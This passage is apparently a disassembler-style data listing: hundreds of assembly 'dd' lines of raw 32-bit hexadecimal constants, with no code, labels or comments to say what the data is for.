		dd 36547E5Eh, 0DCAC8C00h, 0C8FB89CFh, 29B500FDh, 87FBB4Fh
		dd 7900CE76h, 8110DCABh, 554CCDh, 23453303h, 8BA259D6h
		dd 0C3172F00h, 0E995FAAFh, 8D240125h, 0AC8E15FDh, 70A4B166h
		dd 1085821Dh, 2EF6AFh, 4111BF81h, 40C00534h, 0E2B7587Bh
		dd 0A0DF1CBCh, 5456C1E6h, 0E092EDE5h, 76016FCFh, 600C1DFCh
		dd 806BE643h, 0AA3C3037h, 92BDFD0Fh, 241E8731h,	2C77CD90h
		dd 8CF30081h, 604969E5h, 9B01D3A9h, 1103A4A8h, 0ACD5E99h
		dd 0DD9878BDh, 683B1867h, 0B216AD0Eh, 0C85F86B9h, 21950749h
		dd 606BA7FEh, 325C6A9Ah, 8EFF4D00h, 227A5D33h, 8C1B0054h
		dd 0F3CD9F7Fh, 6002707h, 66E3A921h, 1E29D4C5h, 87E47BF9h
		dd 0C0AADD04h, 242EF3A7h, 0CC643Eh, 7A2DCEB5h, 0A80632h
		dd 0F3494803h, 0E5C06652h, 0F700B474h, 1032B2C2h, 79FD0Ah
		dd 0B182EADEh, 8F62AB18h, 0A20E33ECh, 4072C8E3h, 22492625h
		dd 86900132h, 0F5EE3A13h, 1807E387h, 3D141240h,	2179D3h
		dd 682EC410h, 0C5C332E5h, 2B7C430Eh, 314E8DC0h,	6DFCC8h
		dd 77A0D07Dh, 1D1B164Bh, 0FE38E1Fh, 0BA9BB280h,	0A1887F6h
		dd 7AA25B14h, 6838002Ch, 0CC9054BFh, 80017486h,	68002F9Bh
		dd 0AAC42865h, 1ED3EF3Ch, 1C9FFBh, 8AC57AA4h, 0ACA061B4h
		dd 0E714437Fh, 9422EDh,	3A9B6926h, 0C4FE30h, 0ECF8EB86h
		dd 0DF36CF40h, 0DE620C0h, 0F72998Fh, 0C6702A2Ch, 981198Bh
		dd 400BDB3Ch, 0DDC73188h, 0A96F8200h, 480570E5h, 63301FEh
		dd 275038B8h, 2F806E8Eh, 0B085CFECh, 0EA1B00BCh, 6D03FFBDh
		dd 8A00189Dh, 0E659B1C2h, 0C4C857h, 3CC6F3B8h, 2C461AE9h
		dd 280070F0h, 15D02F33h, 79FDE22Eh, 0F433ED1h, 0AA76FB80h
		dd 8A50B5B0h, 8DEE60E2h, 44043Ch, 0C272A9DBh, 7E1A63h
		dd 91232E35h, 0CC4BF98Eh, 2C99B600h, 0E833B004h, 9EBA00D2h
		dd 2F0EC7B3h, 0A975DCB5h, 862439B8h, 0D400A872h, 176425C2h
		dd 70C50129h, 5A6952A0h, 444F6038h, 0C40B0900h,	0C6FF36FAh
		dd 3BF60F9Ah, 809F3770h, 97DA3C92h, 7900C126h, 0FF7D0E06h
		dd 3D3865DFh, 9083B428h, 8D4A4DFDh, 0CE59F2B8h,	5F39220Bh
		dd 0DC70793h, 2A602967h, 9AAE07h, 7BF0A10Eh, 8EC9A431h
		dd 0DACB5800h, 0B9023E96h, 1D6800B0h, 0EC91D2F8h, 0A27DFB7Bh
		dd 0C1FDCB00h, 2587C81Eh, 0B0D0CC9h, 70B86728h,	0DA449D00h
		dd 9E62E640h, 0A42103BAh, 87F91DB7h, 92519B80h,	42F6F400h
		dd 8E4335B8h, 0C9700753h, 510D5771h, 0FF67A5CCh, 6828FAE8h
		dd 0F40BF8C0h, 2E1F6DB3h, 0BBC38h, 14C0C3EEh, 0FD008FD6h
		dd 53931CADh, 0EE9F4A0h, 0CAFF2E75h, 2AB339E0h,	0A70033AFh
		dd 0B4176FDAh, 1B10EE9h, 3F0B599Bh, 2E49B28Dh, 0D617E0h
		dd 0C56C2D7Fh
		dd 0B89F3EF5h, 80F89D06h, 0F6BE25h, 0D71E3A02h,	1BF4915Eh
		dd 6C3F0905h, 42C0B58h,	0E11A1F80h, 0F77005Ch, 65533E9Eh
		dd 8DF0FD00h, 1C47BD6Ch, 811A0195h, 3BA8155Fh, 88BAC177h
		dd 0BFFED129h, 11CDBB90h, 8B117B23h, 0DCD511B7h, 963D11h
		dd 3BA982C7h, 7688F14h,	0E028A011h, 1B8DA079h, 0BF00EB31h
		dd 7E2CDC8Ah, 1262633Ch, 0B8E06Fh, 896E0DAAh, 0BB0022C3h
		dd 1590BC5Ch, 0FE96B3h,	0B7ED78F5h, 0CEB4C471h,	6068DF1Fh
		dd 9C42D3C0h, 0AD48BDh,	12843EDEh, 75433F10h, 1478739h
		dd 0D0AE26C1h, 9040392Eh, 944DC6h, 0DBCDC393h, 0F8DF2C88h
		dd 0E67B791Dh, 74E73AC0h, 1CBB664Bh, 46F53202h,	6A0FC6C5h
		dd 1655F900h, 6487BE2Dh, 0B0350006h, 0EC1174E3h, 8D07A67Eh
		dd 0FB10A556h, 0F8FAD883h, 39BE0F7Ah, 6680E663h, 0B931C528h
		dd 2C00F333h, 0E9A40582h, 0ACD9EDh, 5549D1E8h, 0F8B44B3Dh
		dd 0FEFFFC05h, 0B7C7A062h, 2B50C1A0h, 0CBFD0045h, 0D48C4728h
		dd 0C203C6BBh, 5E75C568h, 4344F823h, 92CC006Ch,	0B1E2A501h
		dd 9A7DF3DFh, 0BDA2973Eh, 0A9E00021h, 0F720B049h, 2BBC0064h
		dd 31783B52h, 5102A5FBh, 7A9C065Ch, 7CADE040h, 0F6DB0E04h
		dd 7B602245h, 6C75CB4Eh, 0A2F95400h, 8B87C73Bh,	5ABB0008h
		dd 10066ADAh, 7E032823h, 1DFA2AD3h, 0C06E83BAh,	0F0298C9Dh
		dd 0AAEE3BEDh, 5A78AB80h, 240372AFh, 4BC43E1Bh,	0DA13D0C1h
		dd 2FC60066h, 9141F3F4h, 4A0EB1EBh, 208D8FBDh, 31B3B7D3h
		dd 0B559071Bh, 115C9052h, 4045CBFBh, 7029B708h,	0D5E86B00h
		dd 4B480A75h, 0FCC55359h, 0AD793D0Fh, 9D60CA8Eh, 0A2EC6047h
		dd 771625Ch, 1C241D4Eh,	6B584B10h, 0F35E0104h, 804D59AAh
		dd 0B677DCA1h, 0E4C88B00h, 40862056h, 494F0031h, 0D9651EBAh
		dd 0CD385F43h, 0CB9B8768h, 0EA172AF8h, 7A029060h, 0C36F00E1h
		dd 4533683h, 2E1E58E9h,	5CC31527h, 0C03C3177h, 0F80FF5h
		dd 0E5A898Dh, 0C04625EAh, 5FC55B00h, 0B98E9499h, 0E48D0074h
		dd 60F60CBBh, 6600EC26h, 0DC9FDA71h, 17F4709h, 2C982ABEh
		dd 70EA82D6h, 29FC78F0h, 2C8EF8B5h, 26150B20h, 93790013h
		dd 51458EF7h, 0EFFF7B00h, 8B5FC1F3h, 3D8B04Ch, 5897D529h
		dd 1FB53BBDh, 6B4EC008h, 6AB82522h, 45B43C50h, 9AB0BF75h
		dd 0DC93B480h, 0FE00D5E6h, 0FAB369DBh, 2CD80376h, 14565B4h
		dd 0E521A72h, 0EF91FC42h, 0CBACBE00h, 78393527h, 0C7EEB4h
		dd 17CCEC2h, 0AF555CE2h, 53277001h, 0CACC253Bh,	0F2FBF4C0h
		dd 0AE0502B9h, 0CF8E9D5Fh, 0CE66E5E0h, 0BD3CC5F4h, 552A02F7h
		dd 60BEDA46h, 0B36F1Ah,	76E7BF21h, 35DB7510h, 5C251100h
		dd 0A93BC79Fh, 0EC4E0003h, 30F33141h, 0B4017347h, 0CDF10124h
		dd 0C88046BAh, 924F4905h, 6B00BDB2h, 0F3519B5h,	0D70738h
		dd 561B069Dh, 0A599CF5Bh, 1284F550h, 0F7C91609h, 0BA0020D6h
		dd 1C9D1342h, 0FD0C5963h, 8B15B780h, 0DA1770Eh,	0B609D000h
		dd 2E57073Dh, 0A202004Eh, 5AAD1BE4h, 5600C2ABh,	0F0A41549h
		dd 5BA6E2h, 0BE6F79DBh,	5CE4B9CDh, 92324701h, 9C5D0F12h
		dd 25002C8h, 7487E7A0h,	1CC93156h, 0DD5F02Fh, 4DC3D707h
		dd 0C7A290D2h, 5ECBE01Dh, 63060A5h, 0E5DF34Ch, 0A2152200h
		dd 983A8E0h, 0E80600A6h, 0F8B2F0B7h, 53FA13BBh,	394A200h
		dd 6D7665Bh, 95FC002Bh,	76C1D088h, 680F9738h, 0C0431EB7h
		dd 0EB33EC09h, 821A00F3h, 72E00429h, 5F002299h,	0A3A14677h
		dd 1BCB74h, 9AAA8491h, 31276BEBh, 0D12A3303h, 0F86C2F92h
		dd 34435Ch, 584475F2h, 0A60466E9h, 23562000h, 884AE5C9h
		dd 4B8600C3h, 0D1E61DD2h, 0FD061F5Fh, 0E29FAA14h, 8F1A0010h
		dd 0DE6EB138h, 47F84852h, 30246D00h, 56B586DAh,	337383h
		dd 0E3825F2Dh, 1DD19CE8h, 0D7018474h, 2E537E72h, 8D8C7A3h
		dd 7F83EA22h, 4E01125Ch, 3A6900FBh, 3D9D317Ah, 0A1499200h
		dd 3BE2F3B1h, 855008Dh,	0AD8C4A17h, 0DA71A301h,	0EC53BD00h
		dd 0A8835A1Eh, 9E1B00AFh, 38EFFAF2h, 0D4008D41h, 0E9F1F5E6h
		dd 0EA350AF8h, 0BC5600A9h, 0EB6978DBh, 5A0040E2h, 3EA37E6Bh
		dd 0F811116h, 743F66A9h, 0F365F180h, 3A138AA1h,	240EE450h
		dd 9D4DE056h, 151D04h, 0E68E9203h, 0A14C38C4h, 0F7EB2400h
		dd 7C3A8B5Ch, 741600FAh, 51CA1FF8h, 0E0B8E960h,	6C2E4A04h
		dd 3CC09473h, 2F0E2EAh,	75854B9Fh, 40D7BFD5h, 1FB1CE8Bh
		dd 80608F73h, 7BE20CDDh, 0A306A81Ah, 0F5B87EFAh, 0F8B30010h
		dd 644F162Bh, 4E3EAB2Eh, 0B646804Bh, 42F3BA74h,	51D200CCh
		dd 65FFE8E7h, 0C01B11Dh, 7778208Bh, 0F08015CEh,	0A6E5F197h
		dd 79FC925Ch, 2093E200h, 0B035857h, 0E74AFh, 55DBDE13h
		dd 5CA97D25h, 0A500627Eh, 0C3017847h, 0DAF9D7h,	0B4F040FCh
		dd 0D372E979h, 6B153700h, 92FA9890h, 0EE6C3AC5h, 7C0BB80h
		dd 0CA8C497Dh, 0DD4E7300h, 46D30396h, 4C0A9018h, 0A4009FBBh
		dd 1B2DC020h, 0E0F82881h, 0D97C1C00h, 0D1636211h, 48EF00F0h
		dd 0E9E39B64h, 0AF078E8Fh, 6965382Fh, 1BB576E0h, 930D02D4h
		dd 32A10E1h, 6E1E877Fh,	4D710400h, 30B71DE7h, 0B148409Fh
		dd 8E7A56C9h, 44388712h, 719BF900h, 0F41040h, 0D436B052h
		dd 0AD4E3CEEh, 0EF78C300h, 0DD3EFF94h, 43D20095h, 0A76F337Eh
		dd 7509BD5Bh, 80EB3D28h, 5F8C0B70h, 0F2C32CABh,	0DDFC0058h
		dd 843672B5h, 38273E00h, 10EF2442h, 501F0076h, 33AB920Ah
		dd 36E06358h, 6F555Ch, 4F46CAB3h, 2E534DDAh, 0F89F45h
		dd 9828F36Ch, 5B00645Fh, 5A3CF85Eh, 1C8762BAh, 0E24BDF5h
		dd 0ACC0B0A3h, 65E06929h, 80D13B3Ch, 915E21D8h,	0F115DFAh
		dd 4C5118CDh, 0FE2346A7h, 9EB299D8h, 6E730500h,	0DBBA756Dh
		dd 0FCC0E4Eh, 0A08029A8h, 5FF2D209h, 0C0D5EF01h, 860D5BD1h
		dd 58A060h, 0C7544C69h,	5F2165CCh, 8813DAEEh, 0C00D4C9h
		dd 0FC07F83Ah, 0AE260B61h, 0DD80A431h, 1B1D6AEBh, 2E0A5504h
		dd 0C7C0BEE2h, 98A72729h, 0F8088898h, 0C38000ECh, 9F474AD2h
		dd 0C1002C91h, 83D0E8A1h, 1A09F9h, 0B0824426h, 55ADCE6Bh
		dd 0CCF8F000h, 5BCF0B46h, 0F3920105h, 646B2E81h, 8A218779h
		dd 9400CECh, 0A2BED01h,	0DC03D110h, 96F90792h, 8307CF0Bh
		dd 4080870Dh, 136B2B40h, 98821000h, 0F201ED26h,	0DEE4F0h
		dd 3452F839h, 9562478Dh, 0D856EA00h, 0AC6A9CBh,	0A036631Ah
		dd 0F9C00142h, 9A008F49h, 702F40Dh, 0C1E9AA99h,	0F760AB89h
		dd 78A08050h, 5B20894Ch, 0AE9E7F0Ch, 0FED42360h, 0EA7BE380h
		dd 4504826h, 47E1E4CDh,	642A803Dh, 0BE0122F0h, 8DE91165h
		dd 9DD461D5h, 0C17A0081h, 0B2705DA7h, 0B778F6B5h, 92E19E00h
		dd 0B1C25173h, 102500F4h, 0F2D5C458h, 0A4004654h, 88C6965Ch
		dd 351DABDh, 324AC93Fh,	8AF0AE1Ah, 3B00F894h, 35234D8Eh
		dd 2B5FBDh, 79FF7C69h, 0BA2C907Dh, 0CE7B2500h, 30D3E9F0h
		dd 0A9BE015Bh, 1B11281Ch, 0C84CCC7Fh, 65B7B100h, 7C26F233h
		dd 8AAB0097h, 2F02C4BFh, 87F2103Dh, 0DE11A905h,	9C40F5EDh
		dd 0EBD390F7h, 0A0681F39h, 2F5AC782h, 7BAD02EEh, 0F74298A0h
		dd 1300434Bh, 0C8DCB987h, 238C39h, 66E7F8F2h, 362FA0EFh
		dd 70910C3h, 7924D06Ah,	1D95007Bh, 152B3C3Ah, 63249318h
		dd 200104F0h, 1034EB7Ah, 0B2BCE0h, 81A0389h, 0E9535E0Eh
		dd 32D83F00h, 7892397Eh, 1E806C5h, 90FF4957h, 8B7F1407h
		dd 67404B70h, 0A6D1CAh
		dd 571D8E5Ah, 41F204F6h, 47962007h, 81733CFh, 4E14DF10h
		dd 73E80589h, 86DB13B8h, 650C514Eh, 0C03CF7D6h,	44420B8Ah
		dd 85808956h, 7DFBD54Bh, 24043598h, 229C0517h, 69A18490h
		dd 0AF1E0EEEh, 9807DE6Dh, 38EBE0ABh, 1501BA3Ah,	0F8A4653Ch
		dd 0E0CF5501h, 1EEDBBECh, 0C0C90FD2h, 2D685BEAh, 570045FCh
		dd 58BAEBDAh, 0F877244h, 0DE2492DFh, 2B70DC00h,	36003FF2h
		dd 74FD987Ch, 0E5ACD0h,	5E9E7A53h, 0DCC066F9h, 751FD616h
		dd 74EFA706h, 1CC80028h, 4B907AB4h, 82B86395h, 4107B500h
		dd 0CECBE426h, 0EF9E17A9h, 80B01E3Dh, 5E5721F6h, 89010451h
		dd 0B23BD54h, 0E28E5C6Ah, 55A0CBF1h, 3D03333Ah,	0B200B370h
		dd 7B9284Ch, 22A745h, 94A3854Ah, 698F3C71h, 0B2BF5A00h
		dd 0FC62DC77h, 197D1C93h, 22007A83h, 0B1D2F655h, 65006842h
		dd 0A4801209h, 0E48E225h, 21D9D4F8h, 74A0A66Fh,	81670471h
		dd 23AD5F0Eh, 970A806Ch, 7C622BC8h, 41980AD7h, 0A0DDFBh
		dd 11DEBD27h, 0DC074973h, 0AFF81A6Bh, 82838FB0h, 81E100F3h
		dd 0CD7080C8h, 0A001758Bh, 15A73921h, 87F483C0h, 23FE5C7Ah
		dd 0FB9FCB00h, 978FAB60h, 0ED56D900h, 3BCFEB33h, 8E7407F1h
		dd 0EF1D2F34h, 6CC6F820h, 0E700F99Dh, 92A87142h, 3C20B26Dh
		dd 7480D53Ah, 65C5157Ah, 4F00A196h, 5B11F1D1h, 38058AA6h
		dd 970081BBh, 0B71814E2h, 3D00EA3Eh, 6869DF09h,	1FDA58B9h
		dd 3DB0415Bh, 190071B8h, 89504E5h, 0AF0F59CBh, 0E033F54Fh
		dd 0C736D764h, 96443EF3h, 25A35A00h, 70182A59h,	8D99AB03h
		dd 0B81AE91Ch, 0F383B6h, 4FCEE48Bh, 6C85394Ch, 1F87B70Bh
		dd 4453016Fh, 0E0806E71h, 0BF21E9EFh, 0C8E46A8Ch, 59E55E26h
		dd 2039900Eh, 0AB6F4241h, 508A00A1h, 0CADFC18Ch, 28003F65h
		dd 0A7EE4035h, 3D6376h,	11CB871Eh, 0F5A34960h, 569CD000h
		dd 9769224Bh, 0E3C83843h, 55ECA181h, 605A1674h,	0B776B5A7h
		dd 0AB511300h, 22588778h, 94E90044h, 485EB434h,	9C1307C3h
		dd 25002C43h, 0B31C81B5h, 0EB83004Bh, 975C1ED3h, 0D700E663h
		dd 16C96C94h, 7B64F2h, 0CD55AA1h, 709BB101h, 0DE93F300h
		dd 52467AA2h, 0C74E1CD6h, 927E4010h, 0F5C86630h, 8A289E62h
		dd 80E0F54Dh, 2D055F51h, 0F7FF13F4h, 0D5C0DB84h, 8E868Dh
		dd 0BB30A170h, 0EE74784h, 80240C38h, 0E42AB918h, 3935B0Ah
		dd 0A75C9EAEh, 1180C6B5h, 660209E1h, 0E3ABA8C4h, 3F004061h
		dd 435F17B1h, 2EA00094h, 377EE006h, 73A6C07h, 0B4C16A33h
		dd 3CF453A2h, 0C0F8483Bh, 86475F00h, 5177F61Ch,	0DE5B3200h
		dd 62AA7253h, 28E6F052h, 0B17561h, 0E0333C8Eh, 7EEFDF38h
		dd 2D0F2E07h, 5E1003BDh, 8EAE9Bh, 892033A9h, 0D6661215h
		dd 384E0E0Ah, 500C877h,	0C2065016h, 1D2B0090h, 6EDA3289h
		dd 690049B8h, 29DDED6Ch, 0FB2197Ah, 90F4ECE3h, 93968180h
		dd 4A006A0Ah, 6D5C6841h, 2ADD480h, 5F0B11E5h, 8C60A424h
		dd 80A4AB7Ch, 5480CB0Bh, 1F96814Eh, 81C460E4h, 0C9413F56h
		dd 83D46203h, 79E8322Fh, 0D7038F4Eh, 63F09188h,	2582001Fh
		dd 29ECE87Ch, 0B100EDBDh, 2F61C11Ah, 78077Eh, 8A0AF4D2h
		dd 81E86496h, 808ECE3Ah, 0ACA8C949h, 107FEEh, 605ED40Ah
		dd 0EB014F0h, 5B86B900h, 0C208ADCAh, 0B20100D1h, 0A1DFA06Eh
		dd 6300C1E7h, 0FABAB9E0h, 0E2A88D8h, 2D20938Eh,	42B33B80h
		dd 0F9011BB5h, 71396490h, 0D8245E9Bh, 6B5B1DE1h, 681784D8h
		dd 7956808Ah, 0EC90AE72h, 269D0900h, 5D570DFAh,	0FCE601D4h
		dd 0F92D04DCh, 3E4BD8EFh, 932B9A09h, 1380FD9Eh,	95E49B2Fh
		dd 414CB30Fh, 1AF6A088h, 7B881h, 26662069h, 2D3EC234h
		dd 53E13Ch, 32106BA2h, 0AB1159h, 20E654ADh, 3CBD8624h
		dd 0AE00B7F6h, 5335308h, 0FBBCB4h, 0F754C6C2h, 0A59B25F5h
		dd 75583900h, 0D8C4D12Ah, 10970F7Eh, 0B240F4EEh, 34AE898Dh
		dd 12BFDE0Fh, 222AC395h, 86D191DBh, 1E785DC4h, 0C0B7A4C6h
		dd 51F8B84Ch, 0F0006FC5h, 9F9C8E48h, 388C44E8h,	2E0F7695h
		dd 79A0411Bh, 8AC5AFFCh, 87AB291Fh, 193CE4C1h, 0AE209285h
		dd 13AEC67h, 2B96BBB2h,	0F08F9B47h, 0DC00F665h,	282640ACh
		dd 1E4B8DC8h, 805B4453h, 0F7A4CE08h, 3975EEB4h,	5D28BB7Ch
		dd 8FECAE79h, 6EC6641Dh, 0D6350980h, 29DEE84h, 8BB8B045h
		dd 9BC0B191h, 0D4002369h, 16CBBC54h, 2CA09957h,	7F4FFC9h
		dd 80FE36CCh, 492F1D40h, 338F5912h, 0E25E8D03h,	0D7C0C0FAh
		dd 8B8700C5h, 0E93D6F55h, 0F4E9CF69h, 561FBF2Bh, 954015C6h
		dd 0AA46A377h, 50261CDCh, 4CBD0E38h, 0E7BFEE20h, 521F28F1h
		dd 0C7C0F3AFh, 7D0890B1h, 777BD6h, 2CECE93Ch, 0A38A7992h
		dd 952FA21Ch, 0D2AAB2C1h, 0BEF83BF8h, 61BA000Bh, 0B1C2B60Ch
		dd 190F5F0Fh, 802099F4h, 0E9F1C6D8h, 9BA902D1h,	2A224E16h
		dd 0D2AD0375h, 0B8E4E0BEh, 0A9D4006Dh, 6C4D87EAh, 3C00751Dh
		dd 7CCF294Eh, 935944h, 3A89EDDh, 373BC2B9h, 0D3746500h
		dd 22626BC3h, 7FC9E896h, 0A62100E1h, 0BA413EEh,	39008BF4h
		dd 8C54A52Ah, 7E7AB798h, 5C55001Bh, 1746D589h, 10056C5h
		dd 9E5EA733h, 3FCCE5F0h, 0B405BB2Ch, 7E0DB51h, 80A8F108h
		dd 0D447C993h, 30C073E4h, 1168C5Ah, 606D3C6Ah, 0B80F00F4h
		dd 2B3EA1C0h, 0C500CBB9h, 0EBF6B238h, 0D22185h,	0D5715155h
		dd 0F254E1CFh, 4713E0F9h, 1629AE19h, 0ADD88220h, 0C012127Ah
		dd 52301CDAh, 0A03C0027h, 0B870037Dh, 75005575h, 0C4BA634Fh
		dd 1ED99904h, 829FBBF7h, 2F266B43h, 0B485888Eh,	0B52006A3h
		dd 776B88FEh, 0ED0B0390h, 0EC2900CBh, 523C80A1h, 5430BC5Dh
		dd 98C3EA5Ah, 0EAD700CEh, 0A2F5F23Eh, 4D70BB99h, 0C055731Ch
		dd 6F98E3Bh, 0C11CE027h, 744EB9Ch, 1018438Dh, 862DD069h
		dd 4704276Dh, 39CD1E4Ch, 42F750C1h, 0D770F0h, 0ECF5DD85h
		dd 0ADAFE48h, 632A2017h, 0DB090506h, 9F9800B9h,	624F4012h
		dd 6C312D55h, 3E64086Dh, 3AF82083h, 529018FEh, 33004CC1h
		dd 789D9CCh, 7EA4655h, 8CCF9EEEh, 0E90C8383h, 0FD1422B8h
		dd 98F19301h, 0D06A3FECh, 9581F0h, 0D39FE751h, 0D4B85C3Ch
		dd 21103E0Ah, 0C680E8ACh, 6A15F150h, 0E48307BDh, 44670BC2h
		dd 0AF409021h, 0D900EA7Dh, 813A2539h, 6CCEF265h, 0E551C99Fh
		dd 37015043h, 0A5550EF1h, 88DC0C4Eh, 0A3050FB0h, 905509DFh
		dd 0B74C881Eh, 0A67D0A4h, 0D5E7E1B4h, 0E45300E0h, 0F3378B03h
		dd 0CFDA1101h, 2F4C2068h, 80807DF1h, 0D988A416h, 6A003962h
		dd 21E2D14Fh, 3D0199Eh,	0F6BCB9C2h, 0DABF7287h,	92217430h
		dd 57E580ADh, 309597BFh, 949B2400h, 1513CECh, 0F84FAD2h
		dd 0A1AD5AA5h, 0D52008CEh, 31BF13D6h, 0B2E57E00h, 0EC6DA4A0h
		dd 0B65E00FDh, 98BBD98Ah, 65009DD0h, 7C3EAB9Ah,	3ABA9269h
		dd 2C003483h, 46B72E4h,	5A00F1A5h, 253A5496h, 0B7AF1Dh
		dd 0F86E79A7h, 0AD44B63Dh, 72405B16h, 0FD450D00h, 586A8058h
		dd 5F7FA5E4h, 1EC3F88Bh, 4580C097h, 523FFA7Ch, 9C110E26h
		dd 0BA208360h, 72CFC982h, 0E90047EEh, 0FE59733Fh, 7D86850h
		dd 20FA06A6h, 0CF134057h, 0DD005B37h, 0B1A4B093h, 58353DE3h
		dd 84139C82h, 1AE20C10h, 0E0ED869Eh, 0D500F02Ah, 9C570875h
		dd 0DA7FB6h, 0DBA6C881h, 7973983Bh, 635C68F8h, 89F00AAh
		dd 394B6BCh, 99CF1857h,	46138047h, 0FA1008C1h, 2E0083Ch
		dd 7DF0EF5Eh, 812A3062h
		dd 8CC6A660h, 0DA6710A0h, 9E09303Eh, 570C10E8h,	4B708F1h
		dd 1D6AD6C8h, 0B1D9C0F9h, 31F95D9h, 78B321AFh, 0CE43B806h
		dd 442B34B2h, 0F851C110h, 9CEFCC7Dh, 0A5D8E566h, 506D06B0h
		dd 28050A61h, 41A3E00h,	0B94873C0h, 0D3130040h,	1099B0F5h
		dd 3F034C64h, 1F839341h, 9A5DD031h, 0B02D3A74h,	1123910h
		dd 0FFE39B30h, 1888DC36h, 31B02EB1h, 360CDABh, 79DC311Eh
		dd 407E751Ah, 0B128A967h, 0B24CC3h, 687DE530h, 84DB9A4Eh
		dd 0CF3A7A1Fh, 40AA0D80h, 8EF762Bh, 412599B3h, 0AF786180h
		dd 0E08D4CCh, 1FD5E32Eh, 4BD91023h, 890AD1DBh, 406183ABh
		dd 78A9E21Bh, 9A8C2440h, 4C50038Fh, 607C0389h, 3AE16A00h
		dd 0E945BD36h, 77A0CF7h, 7050B9B7h, 9B417260h, 27D4042h
		dd 68C70997h, 58060AE0h, 539A0C28h, 0E5608371h,	6A904B54h
		dd 0CAA98A00h, 758981B0h, 0D4720027h, 98A8F8C0h, 6B0650DBh
		dd 0E9857116h, 0EA98C730h, 0EA12CF48h, 64377C00h, 0B8036Bh
		dd 9A8F17B9h, 97214110h, 0B1CE6100h, 8532519h, 0B43D505Eh
		dd 8A370CB9h, 385004A2h, 8068626Fh, 0E2A5D90h, 1F0A010Bh
		dd 4DADE84Ch, 0FA92D4B9h, 0E598AC50h, 10BAA20h,	9306D310h
		dd 0F86362A0h, 0B1068C3Dh, 9B4C970Eh, 8FCB0050h, 3992A05Ah
		dd 0E6003E6Bh, 0CA40E75Bh, 0C0D44F55h, 0BB9F2F49h, 240243D0h
		dd 25CC6317h, 0BCACA7A4h, 0DB40048h, 0CB23D02Bh, 0F0CD8700h
		dd 0ADF64238h, 0C9AE6A1Bh, 0C4321524h, 0E8D2AB3Dh, 60E05C55h
		dd 0EA70B5E9h, 58DAD733h, 50A80315h, 0DC7BAB4Dh, 0CDD4900h
		dd 30AC243Ah, 974A00BCh, 9CD80E5Fh, 340C4BF5h, 40B21D68h
		dd 0B9CA00Ch, 68336080h, 0D3C50E5Eh, 3C823F02h,	44259A22h
		dd 0D1DA0064h, 0AC558837h, 1300FCBAh, 1CC4F921h, 243D18D5h
		dd 6998FE90h, 2439248Ch, 5425C0C6h, 0D9710011h,	6E9BE5BEh
		dd 28C7E6A9h, 0B1863F9Ah, 0C3C0020h, 0EB822A7Dh, 10485CDh
		dd 0E11654Dh, 0A2A96C82h, 80080B7Ch, 127DF638h,	0D15C00A5h
		dd 1399B453h, 0D90CB634h, 589A84AAh, 0A7A12A6Eh, 0CDC744CCh
		dd 0AC29B600h, 414D7187h, 0EB490EDEh, 0E3C3074Ch, 84FCD60Ah
		dd 8C9400A1h, 0C071E8BAh, 30A65331h, 88889DE4h,	23A3192h
		dd 6036CEE1h, 289849ACh, 9ECB8449h, 49B3E88h, 3B9EC54h
		dd 0E85517F8h, 0E0021386h, 856D0D35h, 2044437h,	301A9E39h
		dd 5861814Fh, 0B1CEC99Bh, 802B6078h, 70483C12h,	38C2B3D0h
		dd 669A8D32h, 723C0C08h, 10F9A8E8h, 3B681712h, 1095423h
		dd 35781871h, 0C315E0F4h, 0D9E7BF0h, 6CB81726h,	797A84A0h
		dd 252AA0A4h, 423FDCA2h, 5F2F00A0h, 0B60BC148h,	7A7F0068h
		dd 36051E41h, 6149F499h, 1BCB00D4h, 0ACDC28E2h,	0CDC61F64h
		dd 3442962h, 8DC4FB2Fh,	8C1950FFh, 5A185FF2h, 0C529901Bh
		dd 467D80F5h, 0D58DE800h, 1C5D6CADh, 42C721Dh, 68640124h
		dd 31B90113h, 8C3482E7h, 0CF500060h, 3E8638EAh,	0B2007F39h
		dd 235A959Fh, 9E33327h,	9263C010h, 0B3C68002h, 643A1B00h
		dd 65EC03C3h, 56D5EF08h, 1070D855h, 33C20214h, 1185EE00h
		dd 43D28617h, 0B63F029Fh, 14975440h, 0E001C889h, 23604AFh
		dd 2AFC461Bh, 44DC2F5Fh, 474D949Bh, 0BA4A0048h,	50C51EF5h
		dd 834C1F1Ch, 0A7EEC1ABh, 0FE7D5D8Dh, 0AA7FD0A2h, 334C0012h
		dd 7E9A066h, 0FAEB81BCh, 0A41119CBh, 71618046h,	35CD40A9h
		dd 0F62A138Fh, 4E05210h, 808231D4h, 8D433C40h, 0E26D4202h
		dd 20B2BA4Ch, 0D58C2B6Ah, 0CA602892h, 0E1A9F81h, 3DE70315h
		dd 0DA580177h, 92FE03F8h, 8C416A04h, 4881BAECh,	2034424Fh
		dd 328F0060h, 943DC44Dh, 16C047EBh, 0BD9E5FCh, 0E7A714F3h
		dd 0AE82A47Dh, 50010631h, 32107282h, 5D00E79Dh,	0F830D2ECh
		dd 0B1405C4Ah, 0A0AD9994h, 24B5F9B9h, 505F560h,	0A82F9F95h
		dd 5E7DB7C0h, 37A000BAh, 3A3882CCh, 7A00140Bh, 0D2F41119h
		dd 59F123h, 0B7121AD4h,	78C28327h, 0B0AB571Ch, 0C6285440h
		dd 73D9D45Fh, 2D38C163h, 0D06C49CAh, 0DE4BD2F3h, 0AF0054BCh
		dd 0AAA37867h, 3E006497h, 0D2F65217h, 30DB307Ah, 0CD301AADh
		dd 9800A4AFh, 20072FFEh, 3E26D075h, 0F9010C13h,	96197F36h
		dd 0DD6980BBh, 5E80C516h, 43700C69h, 0CA78BCBDh, 0CE51D460h
		dd 1E59973Ah, 62E36EDh,	0D8EC24F2h, 14571A00h, 126BEE99h
		dd 46EF0013h, 9EB6472Eh, 0FF0E0D17h, 80B24F1Fh,	8B4214D2h
		dd 595F6E98h, 41CD08F8h, 81E92460h, 0C74F1CFDh,	60F0393Ch
		dd 330EB30Fh, 0D8D90300h, 61358E62h, 30897EF7h,	0F4385B1Bh
		dd 1F5428A7h, 3788E3B4h, 0AD7075h, 0DFF825C0h, 9CAE2B70h
		dd 0BCCCB005h, 0B0302E42h, 3A40EDDDh, 8E00A222h, 0C55770F1h
		dd 0CD30AE03h, 271350E5h, 7FC714F3h, 0B500C82Fh, 4A7D748h
		dd 0E9B8F674h, 0C88D170Ch, 60C75061h, 73959125h, 35011AD1h
		dd 0BDB35212h, 47F41432h, 31980655h, 0B04E0C4Dh, 79FC9512h
		dd 0EF5E1837h, 0B74B80D3h, 0A2BF70DBh, 2B70209Ch, 0EBD7657h
		dd 12827F93h, 53A1C6EFh, 8E22748Ah, 0F9D313D8h,	0ACD84EB1h
